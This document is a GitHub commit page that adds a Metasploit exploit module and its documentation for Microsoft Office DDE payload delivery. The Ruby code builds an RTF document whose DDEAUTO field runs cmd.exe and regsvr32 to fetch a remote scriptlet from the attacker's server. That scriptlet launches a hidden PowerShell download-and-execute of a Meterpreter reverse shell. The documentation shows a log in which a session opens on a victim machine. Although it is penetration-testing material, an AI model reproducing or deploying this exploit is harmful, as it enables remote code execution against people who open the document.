Skip to content

Commit cfec0f4

Browse files
committed
Land rapid7#9282, Add exploit for MSFT Office DDR in RTF format
Land rapid7#9282
2 parents 37514ee + b99663f commit cfec0f4

File tree

2 files changed

+207
-0
lines changed

2 files changed

+207
-0
lines changed
Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
2+
Module abuses a feature in MS Field Equations that allow an user to execute an arbitrary application.
3+
4+
## Vulnerable Application
5+
All Microsoft Office versions
6+
7+
## Verification Steps
8+
9+
1. Start msfconsole
10+
2. Do: `use exploit/windows/fileformat/office_dde_delivery`
11+
3. Do: `set PAYLOAD [PAYLOAD]`
12+
4. Do: `run`
13+
14+
## Options
15+
### FILENAME
16+
Filename to output, whether injecting or generating a blank one
17+
18+
### INJECT_PATH
19+
Path to filename to inject
20+
21+
22+
## Example
23+
24+
```
25+
msf > use exploit/windows/fileformat/office_dde_delivery
26+
msf exploit(office_dde_delivery) > set FILENAME msf.rtf
27+
FILENAME => /home/mumbai/file.rtf
28+
msf exploit(office_dde_delivery) > set LHOST ens3
29+
LHOST => ens3
30+
msf exploit(office_dde_delivery) > set LPORT 35116
31+
LPORT => 35116
32+
msf exploit(office_dde_delivery) > run
33+
[*] Using URL: http://0.0.0.0:8080/DGADAcDZ
34+
[*] Local IP: http://192.1668.0.11:8080/DGADAcDZ
35+
[*] Server started.
36+
[*] Handling request for .sct from 192.168.0.24
37+
[*] Delivering payload to 192.168.0.24...
38+
[*] Sending stage (205379 bytes) to 192.168.0.24
39+
[*] Meterpreter session 1 opened (192.168.0.11:35116 -> 192.168.0.24:52217)
40+
41+
meterpreter > sysinfo
42+
Computer : TEST-PC
43+
OS : Windows 7 (Build 7601, Service Pack 1).
44+
Architecture : x64
45+
System Language : en_US
46+
Domain : WORKGROUP
47+
Logged On Users : 1
48+
Meterpreter : x64/windows
49+
meterpreter >
50+
```
Lines changed: 157 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,157 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
7+
class MetasploitModule < Msf::Exploit::Remote
8+
Rank = ManualRanking
9+
10+
include Msf::Exploit::Remote::HttpServer
11+
include Msf::Exploit::FILEFORMAT
12+
include Msf::Exploit::Powershell
13+
include Msf::Exploit::EXE
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'Microsoft Office DDE Payload Delivery',
18+
'Description' => %q{
19+
This module generates an DDE command to place within
20+
a word document, that when executed, will retrieve a HTA payload
21+
via HTTP from an web server.
22+
},
23+
'Author' => 'mumbai',
24+
'License' => MSF_LICENSE,
25+
'DisclosureDate' => 'Oct 9 2017',
26+
'References' => [
27+
['URL', 'https://gist.github.com/xillwillx/171c24c8e23512a891910824f506f563'],
28+
['URL', 'https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/']
29+
],
30+
'Arch' => [ARCH_X86, ARCH_X64],
31+
'Platform' => 'win',
32+
'Stance' => Msf::Exploit::Stance::Aggressive,
33+
'Targets' =>
34+
[
35+
['Microsoft Office', {} ],
36+
],
37+
'DefaultTarget' => 0,
38+
'Payload' => {
39+
'DisableNops' => true
40+
},
41+
'DefaultOptions' => {
42+
'DisablePayloadHandler' => false,
43+
'PAYLOAD' => 'windows/meterpreter/reverse_tcp',
44+
'EXITFUNC' => 'thread'
45+
}
46+
))
47+
register_options([
48+
OptString.new("FILENAME", [true, "Filename to save as", "msf.rtf"]),
49+
OptPath.new("INJECT_PATH", [false, "Path to file to inject", nil])
50+
])
51+
end
52+
53+
def gen_psh(url, *method)
54+
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
55+
56+
if method.include? 'string'
57+
download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
58+
else
59+
# Random filename to use, if there isn't anything set
60+
random = "#{rand_text_alphanumeric 8}.exe"
61+
# Set filename (Use random filename if empty)
62+
filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME']
63+
64+
# Set path (Use %TEMP% if empty)
65+
path = datastore['BinaryEXE-PATH'].blank? ? "$env:temp" : %Q('#{datastore['BinaryEXE-PATH']}')
66+
67+
# Join Path and Filename
68+
file = %Q(echo (#{path}+'\\#{filename}'))
69+
70+
# Generate download PowerShell command
71+
download_string = Rex::Powershell::PshMethods.download_run(url, file)
72+
end
73+
74+
download_and_run = "#{ignore_cert}#{download_string}"
75+
76+
# Generate main PowerShell command
77+
return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
78+
end
79+
80+
def on_request_uri(cli, _request)
81+
if _request.raw_uri =~ /\.sct$/
82+
print_status("Handling request for .sct from #{cli.peerhost}")
83+
payload = gen_psh("#{get_uri}", "string")
84+
data = gen_sct_file(payload)
85+
send_response(cli, data, 'Content-Type' => 'text/plain')
86+
else
87+
print_status("Delivering payload to #{cli.peerhost}...")
88+
p = regenerate_payload(cli)
89+
data = cmd_psh_payload(p.encoded,
90+
payload_instance.arch.first,
91+
remove_comspec: true,
92+
exec_in_place: true
93+
)
94+
send_response(cli, data, 'Content-Type' => 'application/octet-stream')
95+
end
96+
end
97+
98+
99+
def rand_class_id
100+
"#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"
101+
end
102+
103+
104+
def gen_sct_file(command)
105+
# If the provided command is empty, a correctly formatted response is still needed (otherwise the system raises an error).
106+
if command == ''
107+
return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"></registration></scriptlet>}
108+
# If a command is provided, tell the target system to execute it.
109+
else
110+
return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
111+
end
112+
end
113+
114+
def retrieve_header(filename)
115+
if (not datastore['INJECT_PATH'].nil?)
116+
path = "#{datastore['INJECT_PATH']}"
117+
else
118+
path = nil
119+
end
120+
if (not path.nil?)
121+
if ::File.file?(path)
122+
::File.open(path, 'rb') do |fd|
123+
header = fd.read(fd.stat.size).split('{\*\datastore').first
124+
header = header.to_s
125+
print_status("Injecting #{path}...")
126+
return header
127+
end
128+
else
129+
header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n"
130+
header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n"
131+
header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9' + "\n"
132+
end
133+
else
134+
header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n"
135+
header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n"
136+
header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9' + "\n"
137+
end
138+
return header
139+
end
140+
141+
def create_rtf
142+
#
143+
header = retrieve_header(datastore['FILENAME'])
144+
field_class = '{\field{\*\fldinst {\rtlch\fcs1 \af31507 \ltrch\fcs0 \insrsid3807165 '
145+
field_class << "DDEAUTO C:\\\\\\\\Programs\\\\\\\\Microsoft\\\\\\\\Office\\\\\\\\MSword.exe\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe \"/c regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll\" }}"
146+
field_class << '{\fldrslt }}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sftnbj {\rtlch\fcs1 \af31507 \ltrch\fcs0' + "\n"
147+
field_class << '\insrsid5790315' + "\n"
148+
field_class << '\par }'
149+
footer = '}}' # footer
150+
rtf = header + field_class + footer
151+
rtf
152+
end
153+
154+
def primer
155+
file_create(create_rtf)
156+
end
157+
end

0 commit comments

Comments
 (0)